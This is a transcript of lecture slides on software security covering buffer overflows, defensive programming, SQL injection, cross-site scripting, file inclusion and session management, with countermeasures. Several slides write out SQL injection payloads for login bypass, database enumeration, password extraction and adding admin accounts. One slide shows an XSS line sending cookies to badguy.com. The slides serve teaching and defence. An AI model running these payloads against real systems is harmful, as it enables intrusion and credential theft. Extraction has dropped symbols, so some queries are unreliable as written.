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Software Security

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Title: Software Security


1
Software Security
2
Why Software?
  • Why is software as important to security as
    crypto, access control, protocols?
  • Virtually all of information security is
    implemented in software
  • If your software is subject to attack, your
    security can be broken
  • Regardless of strength of crypto, access control
    or protocols
  • Software can become a poor foundation for
    security

3
Mal Software is Ubiquitous!
  • NASA Mars Polar Lander was destroyed because its
    flight software mistook vibrations due to
    atmospheric turbulence for evidence that the
    vehicle had landed and shut off the engines 40
    meters from the Martian surface (December 3,
    1999).
  • A bug in the code controlling the Therac-25
    radiation therapy machine was directly
    responsible for at least five patient deaths in
    the 1980s when it administered excessive
    quantities of X-rays.
  • The 2003 North America blackout was triggered by
    a local outage that went undetected due to a race
    condition in General Electric Energy's XA/21
    monitoring software.
  • In order to fix a warning issued by Valgrind, a
    maintainer of Debian patched OpenSSLand broke the
    random number generator in the process. in
    September 2006 not reported until April 2008.
    Every key generated with the broken version is
    compromised (as the "random" numbers were made
    easily predictable), as is all data encrypted
    with it

Ref. https//en.wikipedia.org/wiki/List_of_softwar
e_bugs
4
Software Security Issues
  • many vulnerabilities result from poor programming
    practices
  • consequence from insufficient checking and
    validation of data and error codes
  • awareness of these issues is a critical initial
    step in writing more secure program code

5
Table 11.1 CWE/SANS Top 25 Most
Dangerous Software Errors
6
Software Security, Quality and Reliability
  • software quality and reliability
  • concerned with the accidental failure of program
    as a result of some theoretically random,
    unanticipated input, system interaction, or use
    of incorrect code
  • improve using structured design and testing to
    identify and eliminate as many bugs as possible
    from a program
  • concern is not how many bugs, but how often they
    are triggered
  • software security
  • attacker chooses probability distribution,
    specifically targeting bugs that result in a
    failure that can be exploited by the attacker
  • triggered by inputs that differ dramatically from
    what is usually expected
  • unlikely to be identified by common testing
    approaches

7
Buffer Overflow
  • a very common attack mechanism
  • first widely used by the Morris Worm in 1988
  • prevention techniques known
  • still of major concern
  • legacy of buggy code in widely deployed operating
    systems and applications
  • continued careless programming practices by
    programmers

8
Brief History of Buffer Overflow Attacks
9
Buffer Overflow/Buffer Overrun
A buffer overflow, also known as a buffer
overrun, is defined in the NIST Glossary of Key
Information Security Terms as follows
A condition at an interface under which more
input can be placed into a buffer or data holding
area than the capacity allocated, overwriting
other information. Attackers exploit such a
condition to crash a system or to insert
specially crafted code that allows them to gain
control of the system.
10
Buffer Overflow Basics
  • programming error when a process attempts to
    store data beyond the limits of a fixed-sized
    buffer
  • overwrites adjacent memory locations
  • locations could hold other program variables,
    parameters, or program control flow data
  • buffer could be located on the stack, in the
    heap, or in the data section of the process

11
Basic Buffer Overflow Example
12
Basic Buffer Overflow Stack Values
13
Buffer Overflow Attacks
  • to exploit a buffer overflow an attacker needs
  • to identify a buffer overflow vulnerability in
    some program that can be triggered using
    externally sourced data under the attackers
    control
  • to understand how that buffer is stored in memory
    and determine potential for corruption
  • identifying vulnerable programs can be done by
  • inspection of program source
  • tracing the execution of programs as they process
    oversized input
  • using tools such as fuzzing to automatically
    identify potentially vulnerable programs

14
Programming Language History
  • at the machine level data manipulated by machine
    instructions executed by the computer processor
    are stored in either the processors registers or
    in memory
  • assembly language programmer is responsible for
    the correct interpretation of any saved data value

15
Stack Buffer Overflows
  • occur when buffer is located on stack
  • also referred to as stack smashing
  • used by Morris Worm
  • exploits included an unchecked buffer overflow
  • are still being widely exploited
  • stack frame
  • when one function calls another it needs
    somewhere to save the return address
  • also needs locations to save the parameters to be
    passed in to the called function and
    to possibly save register
    values

16
Stack Frame with Functions P and Q
Figure 10.3
17
Programs and Processes
Figure 10.4 Program Loading into Process
Memory
18
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19
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20
Program Flaws
  • An error is a programming mistake
  • To err is human
  • An error may lead to incorrect state fault
  • A fault is internal to the program
  • A fault may lead to a failure, where a system
    departs from its expected behavior
  • A failure is externally observable

21
Defensive Programming
  • a form of defensive design to ensure continued
    function of software despite unforeseen usage
  • requires attention to all aspects of program
    execution, environment, and type of data it
    processes
  • also called secure programming
  • assume nothing, check all potential errors
  • programmer never assumes a particular function
    call or library will work as advertised so
    handles it in the code

22
Abstract Program Model
Figure 11.1
23
Defensive Programming
  • programmers often make assumptions about the type
    of inputs a program will receive and the
    environment it executes in
  • assumptions need to be validated by the program
    and all potential failures handled gracefully and
    safely
  • requires a changed mindset to traditional
    programming practices
  • programmers have to understand how failures can
    occur and the steps needed to reduce the chance
    of them occurring in their programs
  • conflicts with business pressures to keep
    development times as short as possible to
    maximize market advantage

24
Security by Design
  • security and reliability are common design goals
    in most engineering disciplines
  • software development not as mature
  • much higher failure levels tolerated
  • despite having a number of software development
    and quality standards
  • main focus is general development lifecycle
  • increasingly identify security as a key goal

25
Handling Program Input
26
Input Size Buffer Overflow
  • programmers often make assumptions about the
    maximum expected size of input
  • allocated buffer size is not confirmed
  • resulting in buffer overflow
  • testing may not identify vulnerability
  • test inputs are unlikely to include large enough
    inputs to trigger the overflow
  • safe coding treats all input as dangerous

27
Interpretation of Program Input
  • program input may be binary or text
  • binary interpretation depends on encoding and is
    usually application specific
  • there is an increasing variety of character sets
    being used
  • care is needed to identify just which set is
    being used and what characters are being read
  • failure to validate may result in an exploitable
    vulnerability

28
Web Application Vulnerabilities
  • URL Manipulation

29
URL Manipulation
30
URL Manipulation (contd)
31
URL Manipulation - Solution
  • The best solution is to avoid sending critical
    parameters in a query string
  • Validate with session token
  • All sensitive data sent in the query string must
    be cryptographically protected.

32
Injection Attacks
  • flaws relating to invalid handling of input data,
    specifically when program input data can
    accidentally or deliberately influence the flow
    of execution of the program

33
SQL Injection
  • The ability to inject SQL commands into the
    database enginethrough an existing application

Ref. Advanced SQL Injections by Victor Chapela
(OWASP.org)
34
How common is it?
  • It is probably the most common Website
    vulnerability today!
  • It is a flaw in "web application" development,
    it is not a DB or web server problem
  • Most programmers are still not aware of this
    problem
  • A lot of the tutorials demo templates are
    vulnerable
  • Even worse, a lot of solutions posted on the
    Internet are not good enough
  • OWASP In our pen tests over 60 of our clients
    turn out to be vulnerable to SQL Injection

35
Vulnerable Applications
  • Almost all SQL databases and programming
    languages are potentially vulnerable
  • MS SQL Server, Oracle, MySQL, Postgres, DB2, MS
    Access, Sybase, Informix, etc
  • Accessed through applications developed using
  • Perl and CGI scripts that access databases
  • ASP, JSP, PHP
  • XML, XSL and XSQL
  • Javascript
  • VB, MFC, and other ODBC-based tools and APIs
  • DB specific Web-based applications and APIs
  • Reports and DB Applications
  • 3 and 4GL-based languages (C, OCI, ProC, and
    COBOL)
  • many more

36
How does SQL Injection work?
  • Common vulnerable login query
  • SELECT FROM users
  • WHERE login 'victor'
  • AND password '123'
  • (If it returns something then login!)
  • ASP/MS SQL Server login syntax
  • var sql "SELECT FROM users
  • WHERE login '" formusr
  • "' AND password '" formpwd "'"

37
Injecting through Strings
  • formusr ' or 11
  • formpwd anything
  • Final query would look like this
  • SELECT FROM users
  • WHERE username ' ' or 11
  • AND password 'anything'

38
SQL Injection
Login Successful
http//target.site/login.jsp
Expected from user
The Unexpected
RETURN
39
The power of '
  • It closes the string parameter
  • Everything after is considered part of the SQL
    command
  • Misleading Internet suggestions include
  • Escape it! replace ' with ' '

40
If it were numeric?
  • SELECT FROM clients
  • WHERE account 12345678
  • AND pin 1111
  • PHP/MySQL login syntax
  • sql "SELECT FROM clients WHERE " .
  • "account formacct AND " .
  • "pin formpin"

41
Injecting Numeric Fields
  • formacct 1 or 11
  • formpin 1111
  • Final query would look like this
  • SELECT FROM clients
  • WHERE account 1 or 11
  • AND pin 1111

42
SQL Injection Characters
  • ' or " character String Indicators
  • -- or single-line comment
  • // multiple-line comment
  • addition, concatenate (or space in url)
  • (double pipe) concatenate
  • wildcard attribute indicator
  • ?Param1fooParam2bar URL Parameters
  • PRINT useful as non transactional command
  • _at_variable local variable
  • _at__at_variable global variable
  • waitfor delay '0010' time delay

43
SQL Injection - The Methodology
44
1) Input Validation
45
Discovery of Vulnerabilities
  • Vulnerabilities can be anywhere, we check all
    entry points
  • Fields in web forms
  • Script parameters in URL query strings
  • Values stored in cookies or hidden fields
  • By "fuzzing, insert into every entry point
  • Character sequence ' " ) gt
  • SQL reserved words with white space delimiters
  • 09select (tab09, carriage return13,
    linefeed10 and space32 with and, or, update,
    insert, exec, etc)
  • Delay query ' waitfor delay '0010'--

46
2) Information Gathering
  • We will try to find out the following
  • Output mechanism
  • Understand the query
  • Determine database type
  • Find out user privilege level
  • Determine OS interaction level

47
a) Exploring Output Mechanisms
  • Using query result sets in the web application
  • Error Messages
  • Craft SQL queries that generate specific types of
    error messages with valuable info in them
  • Blind SQL Injection
  • Use time delays or error signatures to determine
    extract information
  • Almost the same things can be done but Blind
    Injection is much slower and more difficult
  • Other mechanisms
  • e-mail, SMB, FTP, TFTP

48
b) Understanding the Query
  • The query can be
  • SELECT
  • UPDATE
  • EXEC
  • INSERT
  • Or something more complex
  • Context helps
  • What is the form or page trying to do with our
    input?
  • What is the name of the field, cookie or
    parameter?

49
SELECT Statement
  • Most injections will land in the middle of a
    SELECT statement
  • In a SELECT clause we almost always end up in the
    WHERE section
  • SELECT
  • FROM table
  • WHERE x 'normalinput' group by x having 11 --
  • GROUP BY x
  • HAVING x y
  • ORDER BY x

50
UPDATE statement
  • In a change your password section of an app we
    may find the following
  • UPDATE users
  • SET password 'new password'
  • WHERE login logged.userAND password 'old
    password'
  • If you inject in new password and comment the
    rest, you end up changing every password in the
    table!

51
c) Determine Database Engine Type
  • Most times the error messages will let us know
    what DB engine we are working with
  • ODBC errors will display database type as part of
    the driver information
  • If we have no ODBC error messages
  • We make an educated guess based on the Operating
    System and Web Server
  • Or we use DB-specific characters, commands or
    stored procedures that will generate different
    error messages

52
d) Finding out user privilege level
  • There are several SQL99 built-in scalar functions
    that will work in most SQL implementations
  • user or current_user
  • session_user
  • system_user
  • ' and 1 in (select user ) --
  • ' if user 'dbo' waitfor delay '005 '--
  • ' union select if( user() like 'root_at_',
    benchmark(50000,sha1('test')), 'false' )

53
DB Administrators
  • Default administrator accounts include
  • sa, system, sys, dba, admin, root and many others
  • In MS SQL they map into dbo
  • The dbo is a user that has implied permissions to
    perform all activities in the database.
  • Any member of the sysadmin fixed server role who
    uses a database is mapped to the special user
    inside each database called dbo.
  • Also, any object created by any member of the
    sysadmin fixed server role belongs to dbo
    automatically.

54
Discover DB structure
  • Determine table and column names ' group by
    columnnames having 11 --
  • Discover column name types
  • ' union select sum(columnname ) from tablename
    --
  • Enumerate user defined tables
  • ' and 1 in (select min(name) from sysobjects
    where xtype 'U' and name gt '.') --

55
Enumerating table columns in different DBs
  • MS SQL
  • SELECT name FROM syscolumns WHERE id (SELECT id
    FROM sysobjects WHERE name 'tablename ')
  • sp_columns tablename (this stored procedure can
    be used instead)
  • MySQL
  • show columns from tablename
  • Oracle
  • SELECT FROM all_tab_columnsWHERE
    table_name'tablename '
  • DB2
  • SELECT FROM syscat.columnsWHERE tabname
    'tablename '
  • Postgres
  • SELECT attnum,attname from pg_class,
    pg_attributeWHERE relname 'tablename ' AND
    pg_class.oidattrelid AND attnum gt 0

56
All tables and columns in one query
  • ' union select 0, sysobjects.name ' '
    syscolumns.name ' ' systypes.name, 1, 1,
    '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
    systypes where sysobjects.xtype 'U' AND
    sysobjects.id syscolumns.id AND
    syscolumns.xtype systypes.xtype --

57
Database Enumeration
  • In MS SQL Server, the databases can be queried
    with master..sysdatabases
  • Different databases in Server
  • ' and 1 in (select min(name ) from
    master.dbo.sysdatabases where name gt'.' ) --
  • File location of databases
  • ' and 1 in (select min(filename ) from
    master.dbo.sysdatabases where filename gt'.' ) --

58
System Tables
  • Oracle
  • SYS.USER_OBJECTS
  • SYS.TAB
  • SYS.USER_TEBLES
  • SYS.USER_VIEWS
  • SYS.ALL_TABLES
  • SYS.USER_TAB_COLUMNS
  • SYS.USER_CATALOG
  • MySQL
  • mysql.user
  • mysql.host
  • mysql.db
  • MS Access
  • MsysACEs
  • MsysObjects
  • MsysQueries
  • MsysRelationships
  • MS SQL Server
  • sysobjects
  • syscolumns
  • systypes
  • sysdatabases

59
4) Extracting Data
60
Password grabbing
  • Grabbing username and passwords from a User
    Defined table
  • ' begin declare _at_var varchar(8000) set _at_var''
    select _at_var_at_var' 'login'/'password' '
    from users where logingt_at_varselect _at_var as var
    into temp end --
  • ' and 1 in (select var from temp) --
  • ' drop table temp --

61
Create DB Accounts
  • MS SQL
  • exec sp_addlogin 'victor', 'Pass123'
  • exec sp_addsrvrolemember 'victor', 'sysadmin'
  • MySQL
  • INSERT INTO mysql.user (user, host, password)
    VALUES ('victor', 'localhost', PASSWORD('Pass123')
    )
  • Access
  • CREATE USER victor IDENTIFIED BY 'Pass123'
  • Postgres (requires UNIX account)
  • CREATE USER victor WITH PASSWORD 'Pass123'
  • Oracle
  • CREATE USER victor IDENTIFIED BY Pass123
    TEMPORARY TABLESPACE temp DEFAULT TABLESPACE
    users
  • GRANT CONNECT TO victor
  • GRANT RESOURCE TO victor

62
Brute forcing Passwords
  • Passwords can be brute forced by using the
    attacked server to do the processing
  • SQL Crack Script
  • create table tempdb..passwords( pwd varchar(255)
    )
  • bulk insert tempdb..passwords from
    'c\temp\passwords.txt'
  • select name, pwd from tempdb..passwords inner
    join sysxlogins on (pwdcompare( pwd,
    sysxlogins.password, 0 ) 1) union select name,
    name from sysxlogins where (pwdcompare( name,
    sysxlogins.password, 0 ) 1) union select
    sysxlogins.name, null from sysxlogins join
    syslogins on sysxlogins.sidsyslogins.sid where
    sysxlogins.password is null and
    syslogins.isntgroup0 and syslogins.isntuser0
  • drop table tempdb..passwords

63
(No Transcript)
64
SQL Injection Defense
  • It is quite simple input validation
  • The real challenge is making best practices
    consistent through all your code
  • Enforce "strong design" in new applications
  • You should audit your existing websites and
    source code
  • Even if you have an air tight design, harden your
    servers

65
Strong Design
  • Define an easy "secure" path to querying data
  • Use stored procedures for interacting with
    database
  • Call stored procedures through a parameterized
    API
  • Validate all input through generic routines
  • Use the principle of "least privilege"
  • Define several roles, one for each kind of query

66
Input Validation
  • Define data types for each field
  • Implement stringent "allow only good" filters
  • If the input is supposed to be numeric, use a
    numeric variable in your script to store it
  • Reject bad input rather than attempting to escape
    or modify it
  • Implement stringent "known bad" filters
  • For example reject "select", "insert", "update",
    "shutdown", "delete", "drop", "--", "'"

67
Harden the Server
  1. Run DB as a low-privilege user account
  2. Remove unused stored procedures and functionality
    or restrict access to administrators
  3. Change permissions and remove "public" access to
    system objects
  4. Audit password strength for all user accounts
  5. Remove pre-authenticated linked servers
  6. Remove unused network protocols
  7. Firewall the server so that only trusted clients
    can connect to it (typically only administrative
    network, web server and backup server)

68
Detection and Dissuasion
  • You may want to react to SQL injection attempts
    by
  • Logging the attempts
  • Sending email alerts
  • Blocking the offending IP
  • Sending back intimidating error messages
  • "WARNING Improper use of this application has
    been detected. A possible attack was identified.
    Legal actions will be taken."
  • Check with your lawyers for proper wording
  • This should be coded into your validation scripts

69
SQL Injection AttacksConclusion
  • SQL Injection is a fascinating and dangerous
    vulnerability
  • All programming languages and all SQL databases
    are potentially vulnerable
  • Protecting against it requires
  • strong design
  • correct input validation
  • hardening

70
Links
  • A lot of SQL Injection related papers
  • http//www.nextgenss.com/papers.htm
  • http//www.spidynamics.com/support/whitepapers/
  • http//www.appsecinc.com/techdocs/whitepapers.html
  • http//www.atstake.com/research/advisories
  • Other resources
  • http//www.owasp.org
  • http//www.sqlsecurity.com
  • http//www.securityfocus.com/infocus/1768

71
Cross-Site Scripting
  • (XSS)

72
Cross-Site Scripting (XSS) Flaws
  • OWASP Definition
  • XSS flaws occur whenever an application takes
    user supplied data and sends it to a web browser
    without first validating or encoding that
    content. XSS allows attackers to execute script
    in the victim's browser which can hijack user
    sessions, deface web sites, possibly introduce
    worms, etc.

73
Cross-Site Scripting (XSS) Attacks
  • 3 Categories of XSS attacks
  • Stored - the injected code is permanently stored
    (in a database, message forum, visitor log,
    etc.)
  • Reflected - attacks that are reflected take some
    other route to the victim (through an e-mail
    message, or bounced off from some other server)
  • DOM injection Injected code manipulates sites
    javascript code or variables, rather than HTML
    objects.
  • Example Comment embedded with JavaScript
  • commentNice site! ltSCRIPTgt window.open(
    http//badguy.com/info.pl?document.cookie
    lt/SCRIPTgt

74
Cross-Site Scripting (XSS)
  • Occurs when an attacker can manipulate a Web
    application to send malicious scripts to a third
    party.
  • This is usually done when there is a location
    that arbitrary content can be entered into (such
    as an e-mail message, or free text field for
    example) and then referenced by the target of the
    attack.
  • The attack typically takes the form of an HTML
    tag (frequently a hyperlink) that contains
    malicious scripting (often JavaScript).
  • The target of the attack trusts the Web
    application and thus XSS attacks exploit that
    trust to do things that would not normally be
    allowed.
  • The use of Unicode and other methods of encoding
    the malicious portion of the tag are often used
    so the request looks less suspicious to the
    target user or to evade IDS/IPS.

75
XSS - Protection
  • Protect your application from XSS attacks
  • Filter output by converting text/data which might
    have dangerous HTML characters to its encoded
    format
  • 'lt' and 'gt' to 'lt' and 'gt
  • '(' and ')' to '40' and '41
  • '' and '' to '35' and '38
  • Recommend filtering on input as much as possible.
    (some data may need to allow special characters.)

76
Malicious File Execution
  • OWASP Definition
  • Code vulnerable to remote file inclusion (RFI)
    allows attackers to include hostile code and
    data, resulting in devastating attacks, such as
    total server compromise.
  • Malicious file execution attacks affect PHP, XML
    and any framework which accepts filenames or
    files from users.

77
Malicious File Execution
  • Applications which allow the user to provide a
    filename, or part of a filename are often
    vulnerable if input is not carefully validated.
  • Allowing the attacker to manipulate the filename
    may cause application to execute a system program
    or external URL.
  • Applications which allow file uploads have
    additional risks
  • Place executable code into the application
  • Replace a Session file, log file or
    authentication token

78
Malicious File Execution Protection
  • Do not allow user input to be used for any part
    of a file or path name.
  • Where user input must influence a file name or
    URL, use a fully enumerated list to positively
    validate the value.
  • File uploads have to be done VERY carefully.
  • Only allow uploads to a path outside of the
    webroot so it can not be executed
  • Validate the file name provided so that a
    directory path is not included.
  • Implement or enable sandbox or chroot controls
    which limit the applications access to files.

79
Broken Authentication and Session Management
  • OWASP Definition
  • Account credentials and session tokens are often
    not properly protected. Attackers compromise
    passwords, keys, or authentication tokens to
    assume other users identities.

80
Session Management
81
Session Management
  • HTTP/S protocol does not provide tracking of a
    users session.
  • Session tracking answers the question
  • After a user authenticates how does the server
    associate subsequent requests to the
    authenticated user?
  • Typically, web application vendors provide a
    built-in session tracking, which is good if used
    properly.
  • Often developers will make the mistake of
    inventing their own session tracking.

82
Session Management (Session IDs)
  • A Session ID
  • Unique to the User
  • Used for only one authenticated session
  • Generated by the server
  • Sent to the client as
  • Hidden variable,
  • HTTP cookie,
  • URL query string (not a good practice)
  • The user is expected to send back the same ID in
    the next request.

83
Session Management(Session Hijacking)
  • Session ID is disclosed or is guessed.
  • An attacker using the same session ID has the
    same privileges as the real user.
  • Especially useful to an attacker if the session
    is privileged.
  • Allows initial access to the web application to
    be combined with other attacks.

84
Session Management Protection
  • Use long complex random session ID that cannot be
    guessed.
  • Protect the transmission and storage of the
    Session ID to prevent disclosure and hijacking.
  • A URL query string should not be used for Session
    ID or any User/Session information
  • URL is stored in browser cache
  • Logged via Web proxies and stored in the proxy
    cache

85
Session Management Protection
  • Entire session should be transmitted via HTTPS to
    prevent disclosure of the session ID. (not just
    the authentication)
  • Avoid or protect any session information
    transmitted to/from the client.
  • Session ID should expire and/or time-out on the
    Server when idle or on logout.
  • Client side cookie expirations useful, but should
    not be trusted.
  • Consider regenerating a new session upon
    successful authentication or privilege level
    change.

86
Broken Account Management
  • Even valid authentication schemes can be
    undermined by flawed account management functions
    including
  • Account update
  • Forgotten password recovery or reset
  • Change password, and other similar functions

87
Broken Account and Session Management Protection
  • Password Change Controls - require users to
    provide both old and new passwords
  • Forgotten Password Controls - if forgotten
    passwords are emailed to users, they should be
    required to re-authenticate whenever they attempt
    to change their email address.
  • Password Strength
  • Password Expiration - Users must change passwords
    every 90 days, and administrators every 30 days.

88
Insecure Cryptographic Storage Common Mistakes
  • Improper/insecure storage of passwords,
    certifications, and keys
  • Poor choice of algorithm
  • Poor source of randomness for initialization
    vectors
  • Attempting to develop a new encryption scheme "in
    house (Always a BAD idea)
  • Failure to provide functionality to change
    encryption keys

89
Insecure Cryptographic Storage Protection
  • Avoiding storing sensitive information when
    possible
  • Use only approved standard algorithms
  • Use platform specific approved storage mechanisms
  • Ask, read and learn about coding Best Practices
    for your platform
  • Careful review of all system designs
  • Source code reviews

90
Insecure Communications Protection
  • Use SSL/TLS for ALL connections that are
    authenticated or transmitting sensitive
    information
  • Use only valid trusted SSL/TLS certificates and
    train users to expect valid certificates to
    prevent Man-in-the-Middle attacks.

91
OWASP Top Ten Vulnerabilities
  1. Unvalidated Input
  2. Broken Access Control
  3. Broken Authentication Session Management
  4. Cross Site Scripting Flaws
  5. Buffer Overflows
  1. Injection Flaws
  2. Improper Error Handling
  3. Insecure Storage
  4. Denial of Service
  5. Insecure Configuration Management

92
Summary
  • Application Security starts with the Architecture
    and Design
  • Security cant be added on later without
    re-designing and rewriting
  • Custom code often introduces vulnerabilities
  • Application vulnerabilities are NOT prevented by
    traditional security controls.
  • Dont invent your own security controls
  • Design, Design, Design, code, test, test,
    test
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